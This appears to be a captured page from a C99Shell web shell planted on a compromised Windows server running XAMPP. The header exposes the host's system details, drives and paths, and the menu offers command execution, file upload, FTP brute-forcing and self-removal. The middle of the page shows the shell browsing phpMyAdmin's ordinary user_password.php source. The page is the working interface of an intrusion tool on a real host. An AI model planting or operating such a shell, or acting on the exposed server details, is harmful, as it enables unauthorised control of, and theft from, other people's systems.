!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\phpMyAdmin\   drwxrwxrwx
Free 1.19 GB of 239.26 GB (0.5%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     user_password.php (4.51 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * displays and handles the form where the user can change his password
 * linked from main.php
 *
 * @uses    $GLOBALS['strUpdateProfileMessage']
 * @uses    $GLOBALS['strBack']
 * @uses    $GLOBALS['js_include']
 * @uses    $GLOBALS['strChangePassword']
 * @uses    $GLOBALS['strPasswordEmpty']
 * @uses    $GLOBALS['strPasswordNotSame']
 * @uses    $GLOBALS['strError']
 * @uses    $GLOBALS['strNoRights']
 * @uses    $cfg['ShowChgPassword']
 * @uses    $cfg['Server']['auth_type']
 * @uses    PMA_DBI_select_db()
 * @uses    PMA_DBI_try_query()
 * @uses    PMA_DBI_getError()
 * @uses    PMA_sanitize()
 * @uses    PMA_generate_common_url()
 * @uses    PMA_isValid()
 * @uses    PMA_mysqlDie()
 * @uses    PMA_setCookie()
 * @uses    PMA_blowfish_encrypt()
 * @uses    PMA_showMessage()
 * @uses    define()
 * @version $Id: user_password.php 11994 2008-11-24 11:22:44Z nijel $
 * @package phpMyAdmin
 */

/**
 * no need for variables importing
 * @ignore
 */
if (! defined('PMA_NO_VARIABLES_IMPORT')) {
    
define('PMA_NO_VARIABLES_IMPORT'true);
}

/**
 * Gets some core libraries
 */
require_once './libraries/common.inc.php';

/**
 * Displays an error message and exits if the user isn't allowed to use this
 * script
 */
if (!$cfg['ShowChgPassword']) {
    
$cfg['ShowChgPassword'] = PMA_DBI_select_db('mysql');
}
if (
$cfg['Server']['auth_type'] == 'config' || !$cfg['ShowChgPassword']) {
    require_once 
'./libraries/header.inc.php';
    
PMA_Message::error('strNoRights')->display();
    require_once 
'./libraries/footer.inc.php';
// end if


/**
 * If the "change password" form has been submitted, checks for valid values
 * and submit the query or logout
 */
if (isset($_REQUEST['nopass'])) {
    
// similar logic in server_privileges.php
    
$_error false;

    if (
$_REQUEST['nopass'] == '1') {
        
$password '';
    } elseif (empty(
$_REQUEST['pma_pw']) || empty($_REQUEST['pma_pw2'])) {
        
$message PMA_Message::error('strPasswordEmpty');
        
$_error true;
    } elseif (
$_REQUEST['pma_pw'] != $_REQUEST['pma_pw2']) {
        
$message PMA_Message::error('strPasswordNotSame');
        
$_error true;
    } else {
        
$password $_REQUEST['pma_pw'];
    }

    if (! 
$_error) {

        
// Defines the url to return to in case of error in the sql statement
        
$_url_params = array();

        
$err_url          'user_password.php' PMA_generate_common_url($_url_params);
        if (
PMA_isValid($_REQUEST['pw_hash'], 'identical''old')) {
            
$hashing_function 'OLD_PASSWORD';
        } else {
            
$hashing_function 'PASSWORD';
        }

        
$sql_query        'SET password = ' . (($password == '') ? '\'\'' $hashing_function '(\'***\')');
        
$local_query      'SET password = ' . (($password == '') ? '\'\'' $hashing_function '(\'' PMA_sqlAddslashes($password) . '\')');
        
$result           = @PMA_DBI_try_query($local_query)
            or 
PMA_mysqlDie(PMA_DBI_getError(), $sql_queryfalse$err_url);

        
// Changes password cookie if required
        // Duration = till the browser is closed for password (we don't want this to be saved)
        
if ($cfg['Server']['auth_type'] == 'cookie') {
            
PMA_setCookie('pmaPass-' $server,
                
PMA_blowfish_encrypt($password$GLOBALS['cfg']['blowfish_secret']));
        } 
// end if

        // For http auth. mode, the "back" link will also enforce new
        // authentication
        
if ($cfg['Server']['auth_type'] == 'http') {
            
$_url_params['old_usr'] = 'relog';
        }

        
// Displays the page
        
require_once './libraries/header.inc.php';
        echo 
'<h1>' $strChangePassword '</h1>' "\n\n";
        
PMA_showMessage($strUpdateProfileMessage$sql_query'success');
        
?>
        <a href="index.php<?php echo PMA_generate_common_url($_url_params); ?>" target="_parent">
            <strong><?php echo $strBack?></strong></a>
        <?php
        
require_once './libraries/footer.inc.php';
    } 
// end if
// end if


/**
 * If the "change password" form hasn't been submitted or the values submitted
 * aren't valid -> displays the form
 */
// Loads the headers
$GLOBALS['js_include'][] = 'server_privileges.js';
require_once 
'./libraries/header.inc.php';
echo 
'<h1>' $strChangePassword '</h1>' "\n\n";

// Displays an error message if required
if (isset($message)) {
    
$message->display();
}

require_once 
'./libraries/display_change_password.lib.php';

/**
 * Displays the footer
 */
require_once './libraries/footer.inc.php';
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--